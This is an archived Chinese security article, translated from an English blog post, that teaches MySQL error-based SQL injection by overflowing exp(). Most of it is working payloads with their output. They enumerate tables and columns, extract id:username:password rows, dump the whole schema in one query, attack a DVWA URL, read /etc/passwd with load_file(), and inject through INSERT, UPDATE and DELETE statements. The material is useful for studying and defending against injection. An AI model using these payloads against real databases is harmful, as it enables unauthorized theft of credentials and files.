# 使用exp进行SQL报错注入

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-08-25T09:44:00Z
Canonical: https://wepostx.com/topics/997

> 乌云历史资料归档
>
> **原始作者：** 路人甲
> **原始编号：** superkieran-wooyundrops:727
> **原始发布时间：** 2015-08-25 17:44
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

此文为BIGINT Overflow Error Based SQL Injection的具体发现与实践
from:[https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/](https://osandamalith.wordpress.com/2015/07/15/error-based-sql-injection-using-exp/)

# 0x01 前言概述

好消息好消息～作者又在MySQL中发现了一个Double型数据溢出。如果你想了解利用溢出来注出数据，你可以读一下作者之前发的博文：[BIGINT Overflow Error based injections](https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/)，drops上面也有对应翻译，具体见[这里](http://drops.wooyun.org/web/8024)。当我们拿到MySQL里的函数时，作者比较感兴趣的是其中的数学函数，它们也应该包含一些数据类型来保存数值。所以作者就跑去测试看哪些函数会出现溢出错误。然后作者发现，当传递一个大于709的值时，函数exp()就会引起一个溢出错误。

```text
mysql> select exp(709); +-----------------------+ | exp(709) | +-----------------------+ | 8.218407461554972e307 | +-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
```
在MySQL中，exp与ln和log的功能相反，简单介绍下，就是log和ln都返回以e为底数的对数，见等式：

![原文图片](/media/2016/06/c275587f2104b5b1cbd1fefed2611ef8)

![原文图片](/media/2016/06/03fc4511d36a2abd596e5cf4b5752cd1)

```text
mysql> select log(15); +------------------+ | log(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec) mysql> select ln(15); +------------------+ | ln(15) | +------------------+ | 2.70805020110221 | +------------------+ 1 row in set (0.00 sec)
```
指数函数为对数函数的反函数，exp()即为以e为底的对数函数，如等式：

![原文图片](/media/2016/06/f7d44f130565aeae4246bc200329a042)

```text
mysql> select exp(2.70805020110221); +-----------------------+ | exp(2.70805020110221) | +-----------------------+ | 15 | +-----------------------+ 1 row in set (0.00 sec)
```

# 0x02 注入

当涉及到注入时，我们使用否定查询来造成“DOUBLE value is out of range”的错误。作者之前的博文提到的，将0按位取反就会返回“18446744073709551615”，再加上函数成功执行后返回0的缘故，我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

```text
mysql> select ~0; +----------------------+ | ~0 | +----------------------+ | 18446744073709551615 | +----------------------+ 1 row in set (0.00 sec) mysql> select ~(select version()); +----------------------+ | ~(select version()) | +----------------------+ | 18446744073709551610 | +----------------------+ 1 row in set, 1 warning (0.00 sec)
```
我们通过子查询与按位求反，造成一个DOUBLE overflow error，并借由此注出数据。

```text
>`exp(~(select*from(select user())x))` mysql> select exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected] ' from dual)))'
```

# 0x03 注出数据

得到表名：

```text
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));
```
得到列名：

```text
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));
```
检索数据：

```text
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
```

# 0x04 一蹴而就

这个查询可以从当前的上下文中dump出所有的tables与columns。我们也可以dump出所有的数据库，但由于我们是通过一个错误进行提取，它会返回很少的结果。

```text
exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)) http://localhost/dvwa/vulnerabilities/sqli/?id=1' or exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x))-- -&Submit=Submit#
```

![原文图片](/media/2016/06/7d0693879c643773731432a350de3891)

# 0x04 读取文件

你可以通过load_file()函数来读取文件，但作者发现有13行的限制，该语句也可以在BIGINT overflow injections中使用。

```text
select exp(~(select*from(select load_file('/etc/passwd'))a));
```

![原文图片](/media/2016/06/a13b7f5a348e42870de06a872618bdc0)

注意，你无法写文件，因为这个错入写入的只是0。

```text
mysql> select exp(~(select*from(select 'hello')a)) into outfile 'C:/out.txt'; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'hello' from dual)))' # type C:\out.txt 0
```

# 0x05 Injection in Insert

按部就班就好

```text
mysql> insert into users (id, username, password) values (2, '' ^ exp(~(select*from(select user())x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected] ' from dual)))'
```
对于所有的insert，update和delete语句DIOS查询也同样可以使用。

```text
mysql> insert into users (id, username, password) values (2, '' | exp(~(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)), 'Eyre'); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '000 newdb::users::id newdb::users::username newdb::users::password' from dual)))'
```

# 0x06 Injection in Update

```text
mysql> update users set password='Peter' ^ exp(~(select*from(select user())x)) where id=4; ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected] ' from dual)))'
```

# 0x07 Injection in Delete

```text
mysql> delete from users where id='1' | exp(~(select*from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select [email protected] ' from dual)))'
```

# 0x08 总结

和前面的BIGINT注入一样，exp注入也适用于MySQL5.5.5及以上版本。以前的版本对于此情况则是“一言不发”。

```text
mysql> select version(); +---------------------+ | version() | +---------------------+ | 5.0.45-community-nt | +---------------------+ 1 row in set (0.00 sec) mysql> select exp(710); +----------+ | exp(710) | +----------+ | 1.#INF | +----------+ 1 row in set (0.00 sec) mysql> select exp(~0); +---------+ | exp(~0) | +---------+ | 1.#INF | +---------+ 1 row in set (0.00 sec)
```
可能还有其他的函数会产生这种报错呦。（有待你发现啦：）

## Replies
